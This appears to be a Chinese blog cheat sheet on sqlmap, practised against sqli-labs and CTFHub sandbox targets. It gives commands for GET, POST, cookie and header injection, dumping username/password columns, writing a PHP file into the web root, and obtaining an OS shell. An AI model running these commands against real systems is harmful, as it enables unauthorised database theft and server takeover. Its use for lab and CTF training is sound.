sqlmap --help 查看帮助
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --batch -v 0
-u 检测url是否有注入点
sqlmap -u “http://192.168.61.149/Less-1/?id=1”
无损测试,并且列出一些测试例子
–dbs 获取所有的数据库
sqlmap -u “http://192.168.61.149/Less-1/?id=1” --dbs
–current-db 获取当前所使用的数据库
sqlmap -u “http://192.168.61.149/Less-1/?id=1” --current-db
-D 指定所测试的数据库
–tables 获取该数据库中所有的表格
sqlmap -u “http://192.168.61.149/Less-1/?id=1” -D “security” --tables
-T 指定所测试的表格名
–columns 获取该表格中所有的字段名
sqlmap -u “http://192.168.61.149/Less-1/?id=1” -D “security” -T “users” --columns
-C 指定所需要的字段名称
–dump 获取特定字段的所有数据
sqlmap -u “http://192.168.61.149/Less-1/?id=1” -D “security” -T “users” -C “username,password” --dump
2.POST方法 的注入
首先使用brupsuite抓post包,把抓取的结果放入一个文件中
sqlmap -r post.txt
后续步骤 同get方法
3.cookie 的注入
–cookie 指定cookie中使用的参数
–level 要使用cookie注入sqlmap要运行在level 2
sqlmap -u “http://192.168.61.149/Less-20/index.php” --cookie “uname=admin” –level 2
运行级别需要level 2
后续步骤 同get方法
4.使用sql来写入文件
–is-dba 测试当前用户是不是数据库管理员
sqlmap -u “http://192.168.61.149/Less-1/?id=1” --is-dba
–file-write= 上传源文件的绝对路径
–file-dest= 上传文件的目标路径
sqlmap -u “http://192.168.61.149/Less-1/?id=1” --file-write=/root/hack.php --file-dest=C:/phpstudy_pro/www/Less-1/hack.php
不过,建议通过hackbar去写入,因为sqlmap写入似乎只能针对简单情况的写入,如sqli-lab中的level1,但是level7就不可以,而hackbar可以。
5.直接运行命令
–os-cmd= 运行操作系统的命令 必须有数据库管理员权限,必须在网站目录下
sqlmap -u “http://192.168.61.149/Less-1/?id=1” --os-cmd=ipconfig
–os-shell 获取操作系统的shell
sqlmap -u “http://192.168.61.149/Less-1/?id=1” --os-shell
以上均要求在网站目录下,且同样只适用于简单的注入测试【即只含单引号那种】
–time-sec(秒):当使用时间盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。
–union-cols:默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。
设定UNION查询使用的字符
常用
sqlmap -u “http://challenge-58b73584252db2d5.sandbox.ctfhub.com:10080/?id=1” --threads=10 --dbms=mysql --batch --technique U -D sqli --tables
sqlmap -u “http://challenge-1ffe374f49059ed4.sandbox.ctfhub.com:10080/” --data --threads=10 --batch -p user-agent --technique U --user-agent=-2 -D sqli -T wzxjypujxc --dump
【这是对于http头部注入常用的,因为http头部注入需要指定post方式,所以这里如果-u,则加上–data就相当于以post方式请求,-p则指定请求位置{user-agent、referer、cookie、host等},不可以就尝试加上–level、–risk;
还有,user-agent的注入有点特殊,建议指定–user-agent=-2类似的形式,然后再尝试注入,其实http头部的注入都建议这样{否则可能是再原语句后面添加slq语句实现注入,但有时候会出错,user-agent就曾经试过,但指定后就没问题了}】
注意
-r **txt的方式一定要为post,否则会出错,所以需要将get请求改为post请求,才可以正常注入
本博客由自己实验,并参考部分博文写成。如有作者觉得侵权,请联系本人删除。